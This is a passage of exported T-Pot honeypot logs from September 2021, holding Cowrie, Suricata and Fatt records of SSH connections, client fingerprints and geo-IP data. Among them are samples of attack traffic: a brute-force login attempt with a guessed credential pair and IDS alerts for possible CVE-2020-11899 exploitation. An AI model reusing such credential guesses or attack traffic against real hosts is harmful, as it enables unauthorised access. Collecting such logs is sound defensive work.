"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58276, "dest_port": 22, "timestamp": "2021-09-20T11:12:28.628136", "@timestamp": "2021-09-20T11:12:28.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26556	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:29.137296+03	2021-09-20 14:15:13.426674+03	{"_id": "0wboAnwBvYTbRNuESCEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [user/user123] failed", "session": "bbb3ae7627c6", "@version": "1", "password": "user123", "username": "user", "timestamp": "2021-09-20T11:12:29.137296Z", "@timestamp": "2021-09-20T11:12:29.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26557	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:29.717241+03	2021-09-20 14:15:13.428645+03	{"_id": "3wboAnwBvYTbRNuESyH2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:59192 (192.168.176.2:22) [session: 7c122e826c61]", "session": "7c122e826c61", "@version": "1", "protocol": "ssh", "src_port": 59192, "dest_port": 22, "timestamp": "2021-09-20T11:12:29.717241Z", "@timestamp": "2021-09-20T11:12:29.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26558	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:29.720229+03	2021-09-20 14:15:13.429645+03	{"_id": "4wboAnwBvYTbRNuESyH2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7c122e826c61", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:29.720229Z", "@timestamp": "2021-09-20T11:12:29.720Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26559	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:12:31.048711+03	2021-09-20 14:15:13.430646+03	{"_id": "5AboAnwBvYTbRNuETiEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 48920, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1914958088486471, "@version": "1", "in_iface": "enp5s0", "src_port": 60744, "dest_port": 53, "timestamp": "2021-09-20T11:12:31.048711Z", "@timestamp": "2021-09-20T11:12:31.048Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26560	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:21.793945+03	2021-09-20 14:15:13.431646+03	{"_id": "tQboAnwBvYTbRNuELCGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 39 seconds", "session": "56711b6e238f", "@version": "1", "duration": 39.82086944580078, "timestamp": "2021-09-20T11:12:21.793945Z", "@timestamp": "2021-09-20T11:12:21.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26561	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:22.506809+03	2021-09-20 14:15:13.433647+03	{"_id": "twboAnwBvYTbRNuELyH1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38802, "timestamp": "2021-09-20T11:12:22.506809", "@timestamp": "2021-09-20T11:12:22.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26562	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:12:23.576031+03	2021-09-20 14:15:13.434674+03	{"_id": "uAboAnwBvYTbRNuEMiG0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1030239922050814, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex", "is_ssh_client_banner"]}, "src_port": 38802, "dest_port": 22, "timestamp": "2021-09-20T11:12:23.576031Z", "@timestamp": "2021-09-20T11:12:23.576Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26563	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:23.619655+03	2021-09-20 14:15:13.435674+03	{"_id": "uQboAnwBvYTbRNuENCGD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "de90c328c03b", "@version": "1", "timestamp": "2021-09-20T11:12:23.619655Z", "@timestamp": "2021-09-20T11:12:23.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26564	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:12:33.721742+03	2021-09-20 14:15:13.436674+03	{"_id": "AQboAnwBvYTbRNuEWSLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:33.708309+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 300}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557260779221, "payload": "AAAABAMAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf+NuT8EAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:33.721742Z", "@timestamp": "2021-09-20T11:12:33.721Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........................................?................................"}}	1	\N	\N	alert	\N	\N
26577	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:42.943822+03	2021-09-20 14:15:13.454673+03	{"_id": "SgboAnwBvYTbRNuEfiLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a8689fca5224", "@version": "1", "duration": 2.726637125015259, "timestamp": "2021-09-20T11:12:42.943822Z", "@timestamp": "2021-09-20T11:12:42.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26565	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:12:35.100132+03	2021-09-20 14:15:13.437676+03	{"_id": "AwboAnwBvYTbRNuEXSKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:35.100132+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 688253151971108, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:12:35.100132Z", "@timestamp": "2021-09-20T11:12:35.100Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
26566	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:35.504103+03	2021-09-20 14:15:13.439648+03	{"_id": "DwboAnwBvYTbRNuEXyKC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "01cb298fd466", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:35.504103Z", "@timestamp": "2021-09-20T11:12:35.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26567	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:35.769677+03	2021-09-20 14:15:13.440652+03	{"_id": "EQboAnwBvYTbRNuEYSKb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2090394617852959, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57010, "dest_port": 22, "timestamp": "2021-09-20T11:12:35.769677Z", "@timestamp": "2021-09-20T11:12:35.769Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26568	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:12:33.708309+03	2021-09-20 14:15:13.441674+03	{"_id": "_gboAnwBvYTbRNuEWSHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:33.708309+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557260779221, "payload": "AAAABAMAAAD/AgAAAAAAAAAAAAH/jbk/AwAAAP8CAAAAAAAAAAAAAf8AAAAEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:33.708309Z", "@timestamp": "2021-09-20T11:12:33.708Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......................?...................................................."}}	1	\N	\N	alert	\N	\N
26569	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:12:35.09218+03	2021-09-20 14:15:13.442675+03	{"_id": "BgboAnwBvYTbRNuEXSKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:35.092180+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751756212244, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf+NuT8EAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:35.092180Z", "@timestamp": "2021-09-20T11:12:35.092Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........................................?................................"}}	1	\N	\N	alert	\N	\N
26570	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:12:35.980136+03	2021-09-20 14:15:13.443674+03	{"_id": "EwboAnwBvYTbRNuEYSKc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:12:35.625000+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 433752717363560, "payload": 